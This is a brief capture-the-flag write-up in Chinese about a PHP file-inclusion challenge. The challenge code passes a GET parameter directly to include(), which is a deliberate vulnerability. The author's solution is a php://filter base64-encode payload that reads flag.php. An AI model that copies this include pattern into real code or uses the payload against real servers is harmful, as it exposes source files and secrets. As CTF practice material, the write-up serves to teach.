<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
是一道文件包含题
传入的内容如果没有flag字符串,那么就退出
没错,不是把flag过滤了,而是没有flag就会退出…
这题有什么意义么…
/?filter=php://filter/read=convert.base64-encode/resource=./flag.php
伪协议直接就出来了